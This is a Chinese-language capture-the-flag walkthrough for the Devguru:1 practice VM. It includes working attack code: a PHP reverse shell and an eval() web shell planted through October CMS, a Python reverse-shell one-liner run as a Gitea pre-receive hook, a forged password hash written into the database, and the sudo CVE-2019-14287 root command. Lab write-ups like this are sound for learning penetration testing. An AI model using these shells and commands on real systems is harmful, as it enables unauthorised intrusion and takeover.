Devguru:1靶机渗透

  • Devguru:1靶机渗透已关闭评论
  • 13 views
  • A+

Devguru:1靶机渗透

网络结构:

环境搭建平台为VMware15,网络为nat模式,网段192.168.1.0/24

网络由攻击机kali、靶机组成

靶机ip:192.168.1.143

kali linux ip:192.168.1.137

信息收集:

主机发现:

nmap -sP 192.168.1.0/24

如下图,图中192.168.1.1为VMnet8网卡地址,1.3为网关地址,1.137为kali地址,因此判断目标靶机地址为192.168.1.143

image20210226211653677.png

端口服务扫描:

nmap -p 1-65535 -A 192.168.1.143 -sV -T4

如下图,除开启22端口ssh服务以及80端口外,还另外开放了8585端口

image20210226211934524.png

目录爆破:

dirb:

dirb "http://192.168.1.143" /usr/share/dirb/wordlists/big.txt

image20210226221954531.png

dirsearch:

python dirsearch.py -u http://192.168.1.143 -e *

如下图,除与dirb扫描结果类似的目录外,还看到了一个./git目录

image20210226223113342.png

访问一下爆破出的目录:

共发现两个比较有价值的页面,一个80端口后台管理登录页面,80端口是个October框架的网站

http://192.168.1.143/backend/backend/auth/signin

image20210227195533892.png

8585端口也有个登录页面,是个gitea搭建的项目托管网站

image20210227195726337.png

漏洞挖掘:

第一次反弹shell

之前在使用dirsearch爆破目录时,看到一个.git/目录,这里我们可以用另外一个工具githack将其下载下来,GitHacker是一个多线程工具,可以检测站点是否存在git源码泄漏,并能够将网站源代码下载到本地。

工具获取连接:https://github.com/lijiejie/GitHack

./GitHack.py http://192.168.1.143/.git/

image20210303173819905.png

成功拿到git源码

image20210303174308966.png

经百度,得知October的数据库信息存储在database.php文件中,在config目录下找到此文件,查看文件内容,成功找到数据库用户名密码 october,SQ66EBYx4GT3byXH

image20210303174933576.png

登录之后来到网站的后台管理页面,,可以看到CMS选项下有一个添加页面的功能

image20210309210226526.png

我们可以利用这个,新建个新页面来制作反弹shell

function onStart(){
$s=fsockopen("192.168.1.137",4444);
$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);
}

image20210309210430869.png

点击save保存,kali端监听端口

image20210309210627673.png

然后点击preview,反弹成功

image20210309211004680.png

同样方式创建一个一句话木马,用蚁剑连接,上传一个本地漏洞搜集脚本linEnum,这是一个基本shell脚本,从内核信息到定位可能的升级点(包括可能有用的SUID / GUID文件以及Sudo / rhost错误配置等等)进行扫描,以查找可能存在的提权漏洞,下载链接https://github.com/rebootuser/LinEnum

function onStart(){
eval($_REQUEST[123]);
}

image20210309211307394.png

执行这个脚本,然而并没有看到什么有用的提权信息,说明www用户的权限被设置的很低,我们需要从其他用户入手,从脚本提供的信息来看,passwd文件是可读的

image20210309212245527.png

打开看一下,可以看到里面有一个用户frank,之前我们查看数据库的时候就遇见他了,老熟人了

image20210309212420619.png

但October的shell我们已经获取过了,只能是www用户,所以我们需要从其他的方面入手,比如说之前扫目录的时候看见的8585端口的gitea网站

暂时没在主机上找到有关gitea数据库相关的用户名密码,但之前用LinEnum搜集信息中,有一个app.ini.bak备份文件,在里面找到了gitea数据库的用户名密码

image20210309213501042.png

image20210309213621385.png

第二次反弹shell

再回之前的那个数据库登录页面,这次我们登gitea数据库

image20210309214001353.png

登录进去之后可以看到一个user表,里面有一个用户frank,但密码被加密了

image20210310194558467.png

这里我们不知道加密方式,没法直接解,但gitea的框架是开源的,我们可以在github上直接找到项目源码

https://github.com/go-gitea/gitea/blob/master/models/user.go

image20210310194921296.png

在这里我们可以找到密码的加密代码,使用一个我们自己设定的新口令,加密后替换到数据库中

image20210310195433379.png

最终得到代码

package main

import (
"fmt"
"crypto/sha256"
"golang.org/x/crypto/pbkdf2"
)

func main() {
var tempPasswd []byte
tempPasswd = pbkdf2.Key([]byte("12345"), []byte("Bop8nwtUiM"), 10000, 50, sha256.New)
fmt.Println(fmt.Sprintf("%x", tempPasswd))
}

代码为go语言编写,没有环境的话,可以在这个链接运行

https://play.golang.org/

运行后得到加密结果

image20210310200300579.png

将其替换至数据库中

image20210310200639175.png

保存修改,在登录界面登录测试,登录成功

image20210310200822595.png

我们找到frank用户的git代码仓库

image20210310201324488.png

gitea支持githook,我们可以自定义这些hook,在我们进行例如更新git源码这种重要动作时,这些我们事先定义好的名为hook的脚本便会起作用,执行一些例如发送邮件、核查代码等工作,同样的,我们也可以利用这些hook,来帮助我们进行渗透,例如反弹一个shell

在settings选项下我们就可以找到编辑githook的位置

image20210310202627053.png

这里我们选择pre-receive,pre-receive会在push前检查我们编写的规则,即只要我们提交保存代码,这个钩子就会执行,在里面写上我们自己的python反弹shell代码

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.137",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

保存修改,然后监听设置的4443端口

image20210310202931444.png

随便找一个文件修改一下,README.md也可以

image20210310202952759.png

提交修改,反弹成功,是我们预想的frank用户

image20210310203042712.png

权限提升:

拿到shell之后,再运行linEnum收集一次信息,因为我们使用的这个shell显示信息不是很方便,这里找一个有写权限的目录,将收集结果写入一个文件中

image20210310210541231.png

进到/tmp目录下,将这个文件用scp挪到外面来

scp 1.txt [email protected]:/root/1.txt

image20210310210648930.png

再查看枚举结果,可以看到存在sqlite3漏洞

image20210310210758266.png

搜索这个漏洞,用到一个网站https://gtfobins.github.io/,这个网站还有一个在线的漏洞搜索工具,有兴趣的可以下载一下https://github.com/GTFOBins/GTFOBins.github.io

言归正题,搜索到漏洞之后,这里给出了sudo的漏洞利用代码

image20210310211227479.png

输入之后,会提示输入密码,不可行,但我们之前收集系统信息的时候还可以看到sudo版本

image20210310211703347.png

1.8.21,在1.8.28版本之前的sudo存在一个cve漏洞,cve-2019-14287,这个漏洞使得,如果sudo配置为允许用户通过Runas规范中定义的ALL关键字来以任意用户身份运行命令的话,我们可以通过制定用户ID -1或4294967295来以root权限执行恶意命令

这里我们利用这个cve,成功提权

sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'

image20210310212250831.png

来到/root目录下,查看flag

image20210310212340979.png